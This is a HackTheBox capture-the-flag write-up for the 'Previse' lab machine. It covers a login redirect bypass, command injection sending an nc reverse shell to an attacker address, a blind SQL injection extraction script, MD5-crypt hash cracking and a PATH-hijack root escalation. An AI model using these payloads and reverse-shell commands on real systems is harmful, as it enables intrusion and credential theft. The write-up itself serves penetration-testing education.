Welcome to the Previse writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Previse

tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

nmap -sS -p- -n -T5 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Now that we know the open ports, let's scan them in depth.

nmap -A -n -T5 -p 22,80 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o dirbuster.txt -u http://
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 314] [--> http://10.10.11.104/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 313] [--> http://10.10.11.104/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]

Exploitation

Bypass Login

When we access 10.10.11.104/accounts.php we can see that it redirects us to the login page but, intercepting the server response with BURP enabling the Intercept Server Responses.

We can find the Location: login.php.

HTTP/1.1 302 Found
Date: Sun, 08 Aug 2021 21:57:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8

If we remove it, we can access to the accounts.php page and we can create a new user without restrictions.

Now that we can authenticate with our new user, in the Files section of the menu we can find to download the file SITEBAKUP.ZIP that contains the source code of the website.

By reading the source code we can find:

  1. The database credentials in the config.php file.

    $ host = 'localhost';
    $ user = 'root';
    $ passwd = 'mySQL_p@ssw0rd!:)';
    $ db = 'previse';
  2. An attack vector in the logs.php file taking advantage of the $_POST['delim'] variable to obtain an RCE.

    $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
    echo $output;
  3. And an unintended SQL injection in the file files.php taking advantage of the variable $fileName.

    $fileName = $_FILES['userData']['name'];
    $fileData = addslashes(file_get_contents($_FILES['userData']['tmp_name']));
    $fileSize = $_FILES['userData']['size'];
    $sql = "INSERT INTO files(name, size, data, user) VALUES('{$fileName}', '{$fileSize}', '{$fileData}', '{$_SESSION['user']}')";

RCE

We make the request as POST to the file logs.php to pass the condition of the beginning of the file:

if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

And we do the injection of our shell on the parameter delim having a terminal listening.

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.104/files.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: PHPSESSID=s4of7acn3lb7dvuv3h3fio97eh
Upgrade-Insecure-Requests: 1

delim=;nc -e /bin/sh 10.10.14.29 8787
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.104] 45470
python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@previse:/var/www/html$

MySQL

As we know the password of the database, we connect to extract the credentials of the website.

www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
+----+----------+-----------------------------------------+---------------------+
| id | username | password                                | created_at          |
+----+----------+-----------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.      | 2021-05-27 18:18:36 |
|  2 | x4v1l0k  | $1$🧂llol$Qpu.1KmRI9ycmW5NZm5Ny.      | 2021-08-08 21:59:29 |
+----+----------+-----------------------------------------+---------------------+
2 rows in set (0.00 sec)

mysql>

SQL injection

Another way to get the hash of the user m4lwhere is by exploiting an unintended SQL injection into the files.php file using the $fileName variable.

To check this we can inject the NOW() function using BURP and we should be able to see the date and time as the file name.

POST /files.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.104/files.php
Content-Type: multipart/form-data; boundary=---------------------------12070815531291355311021245190
Content-Length: 291
Connection: close
Cookie: PHPSESSID=s4of7acn3lb7dvuv3h3fio97eh
Upgrade-Insecure-Requests: 1

-----------------------------12070815531291355311021245190
Content-Disposition: form-data; name="userData"; filename="'+NOW()+'"
Content-Type: application/octet-stream

-----------------------------12070815531291355311021245190--

Knowing this and knowing that in order to concatenate we are using the sum of the records, we must perform an injection that returns a numerical value, so we can perform several injections to extract the ASCII value of each character of the hash.

'+ASCII(SUBSTR((SELECT password from accounts LIMIT 1), 1, 1))+'

To make it easier, we are going to use this small script that will perform 40 injections to be able to extract the 40 possible characters from the hash. In case we are requesting more characters than there are, we will obtain a 0 as a result.

import requests

url = "http://10.10.11.104:80/files.php"
cookies = {"PHPSESSID": "s4of7acn3lb7dvuv3h3fio97eh"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://10.10.11.104/files.php", "Content-Type": "multipart/form-data; boundary=---------------------------12070815531291355311021245190", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

for i in range(1, 40):
    data = f"-----------------------------12070815531291355311021245190\r\nContent-Disposition: form-data; name=\"userData\"; filename=\"'+ASCII(SUBSTR((SELECT password from accounts LIMIT 1), {i}, 1))+'\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------12070815531291355311021245190--"
    requests.post(url, headers=headers, cookies=cookies, data=data)

Now we run the script ...

$ python3 sqli.py

And now with these few lines in JavaScript using the web browser inspector console we can create the ASCII character string.

var ASCIIChars = '';
var chars = document.getElementsByClassName('uk-button-text');
for (var i = 0; i < chars.length; i++) {
   ASCIIChars += (ASCIIChars == '') ? chars.item(i).innerHTML : ','+chars.item(i).innerHTML;
}
console.log(ASCIIChars);

And with these other few lines in JavaScript we can convert the ASCII values to text to get the hash.

var ASCII = '36,49,36,240,159,167,130,108,108,111,108,36,68,81,112,109,100,118,110,98,55,69,101,117,79,54,85,97,113,82,73,116,102,46'.split(',');
var resutl = '';
for (var i = 0; i < ASCII.length; i++) {
    resutl += String.fromCharCode(ASCII[i]);
}
console.log(resutl);
$1$�llol$DQpmdvnb7EeuO6UaqRItf.

Break the hash

Now we have the m4lwhere hash and we know the encryption method from the code in the accounts.php file.

$hash = crypt($password, '$1$🧂llol$');

The first thing we must do is repair the part of the hash corresponding to the salt. If we look at the salt used in the source code we can see the 🧂 emoji has been used, which is not well interpreted when extracting the hash, so we replace the $1$ð�§�llol$ part with $1$🧂llol$.

We can break the hash using Hashcat.

kali@kali:HTB/Previse$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt                                                               
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt         
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

And we can break the hash with a little custom script.

<?php
        $dict = @file('/usr/share/wordlists/rockyou_utf8.txt');

        foreach ($dict as $word) {
                if (crypt(trim($word), '$1$🧂llol$') == '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.') {
                        echo trim($word);
                        return;
                }
        }
?>
$ php brute.php
ilovecody112235!

And now we know the password ilovecody112235! for the user m4lwhere.
And we can now connect via SSH with the credentials and read the user flag!

m4lwhere@previse:~$ cat user.txt
CENSORED_FLAG

Post exploitation

Enumeration

Sudo

As we can see, we can run the script /opt/scripts/access_backup.sh as root without password.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

And if we see its content we see that the gzip and date commands do not have the absolute path assigned so we can create our own file with a reverse shell inside calling it like these files and add the path where we save it to the $PATH variable so that when we execute the script it is our file that is executed.

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Privilege escalation: m4lwhere to root

We are going to create our date file with a reverse shell in the /tmp directory and add this directory to the $PATH variable.

m4lwhere@previse:/tmp$ echo -e "nc -e /bin/sh 10.10.14.29 8788" > date
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH

And now we execute the script with sudo having a terminal listening.

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

And since we are already root we can read his flag!

$ nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.104] 39420
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
CENSORED_FLAG